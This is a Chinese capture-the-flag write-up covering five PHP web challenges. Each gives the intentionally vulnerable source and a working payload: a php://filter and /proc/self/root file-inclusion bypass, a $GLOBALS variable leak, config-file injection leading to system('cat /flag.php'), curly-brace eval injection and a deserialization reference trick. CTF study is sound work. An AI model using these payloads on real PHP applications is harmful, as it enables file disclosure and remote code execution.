掌控ctf-2月赛

devtools/2025/1/8 2:06:18/

没事干 随便刷刷题

1伪协议读取系统进程

源码

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}

伪协议读取flag.php,/proc/self指向当前进程的

exp

?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

2超全局变量

<?php  error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){$args = $_GET['args'];if(!preg_match("/^\w+$/",$args)){die("args error!");}eval("var_dump($$args);");
}

一看到超全局变量就想到了 GLOBALS

3命令执行

<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

访问config.php会报错 然后把GET参数暴露

exp:
config.php?8=system("cat /flag.php");

巧用花括号(考点:花括号用法)

<?
#GOAL: gather some phpinfo();
function flag(){echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>

字符串${foobar}​中的foobar会被当作变量来处理

?str={{phpinfo()}}

flag在flag()中

?str={{flag()}}

PHP特性(考点:PHP中引用的特性)

<?php
#GOAL: get the secret;
class just4fun {var $enter;var $secret;
}if (isset($_GET['pass'])) {$pass = $_GET['pass'];if(get_magic_quotes_gpc()){$pass=stripslashes($pass);}$o = unserialize($pass);if ($o) {$o->secret = "flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";if ($o->secret === $o->enter)echo "Congratulation! Here is my secret: ".$o->secret;elseecho "Oh no... You can't fool me";}else echo "are you trolling?";
}

exp

<?php
class just4fun {var $enter;var $secret;
}$a= new just4fun();
$a->enter= &$a->secret;
echo serialize($a);


http://www.ppmy.cn/devtools/148786.html

相关文章

初始值变量类型

状态名同步位置初始值变量类型不支持的UL刷新注意事项State父组件必填Object、classstring、number、boolean、enum类型&#xff0c;以及这些类型的数组。支持Date类型。对象的对象数组属性更新数组对象的属性更新 State装饰的变量必须初始化&#xff0c;否则编译期会报错。Sta…

PADS Layout 如何快速高效的学习,学习的重点,难点,目标

以最短的时间去操作PADS的流程,走线需要注意哪些规则? 布局需要注意哪些规范和规则要求? 开始布第一块的高速板子,肯定是有大把的问题的,这些问题就是在严格的行业规则和规范下面是不符合要求的。 我们一定要把PADS Layout的速度练习起来,到后面的话,就会越来越快,对…

3.1 vue基础1

template 和 render()函数 buildTemplate > render() js <template> <div class"data1">{{data1}}</div> </template> // 更改 render() { return ( <div class"data1">{ data1 }</div> ) } // 优化能力 - domdi…

Django AWS负载均衡器管理系统

在本文中,我们将详细介绍如何构建一个Django应用来管理和同步AWS负载均衡器信息。这个系统将允许我们从AWS获取负载均衡器的数据,并在本地数据库中进行存储和管理。 项目概述 我们将创建一个名为aws_ops的Django项目,其中包含一个名为loadbalancer的应用。这个应用将负责处…

Selenium 八大元素定位方法及场景扩展

Selenium 提供了八种常见的元素定位方法&#xff0c;用于在网页中准确找到需要操作的元素。以下是详细介绍以及一些特殊场景的解决方案。 1. ID 定位 用法&#xff1a; 通过元素的唯一 id 属性进行定位。 element driver.find_element(By.ID, "element_id")使用场…

Java 23 集合框架详解:ArrayList、LinkedList、Vector

&#x1f4da; Java 23 集合框架详解&#xff1a;ArrayList、LinkedList、Vector 在 Java 集合框架中&#xff0c;ArrayList、LinkedList 和 Vector 是三种最常用的 List 接口实现类。它们都可以存储有序的、可重复的元素&#xff0c;但它们在 底层实现、性能 和 多线程安全 等…

【漏洞分析】DDOS攻防分析(二)

0x00 HTTP DDOS攻击实例解析 2014年5月&#xff0c;颇负盛名的搜狐视频&#xff0c;背负了一起著名的DDoS攻击事件。 当时&#xff0c;日本CDN服务商Incapsula声称&#xff0c;自己的一位客户的服务器遭遇了搜狐视频发起的DDoS攻击&#xff0c;期间总共有超过2万的网民通过搜…

我的nvim的init.lua配置

nvim的配置文件路径在&#xff5e;/.config/nvim路径下&#xff1a; 一、目录如下&#xff1a; coc-settings.json文件是配置代码片段路径的文件init.lua配置文件的启动脚本lua/config.lua 全局配置文件lua/keymaps.lua 快捷键映射键文件lua/plugins.lua 插件的安装和配置文件…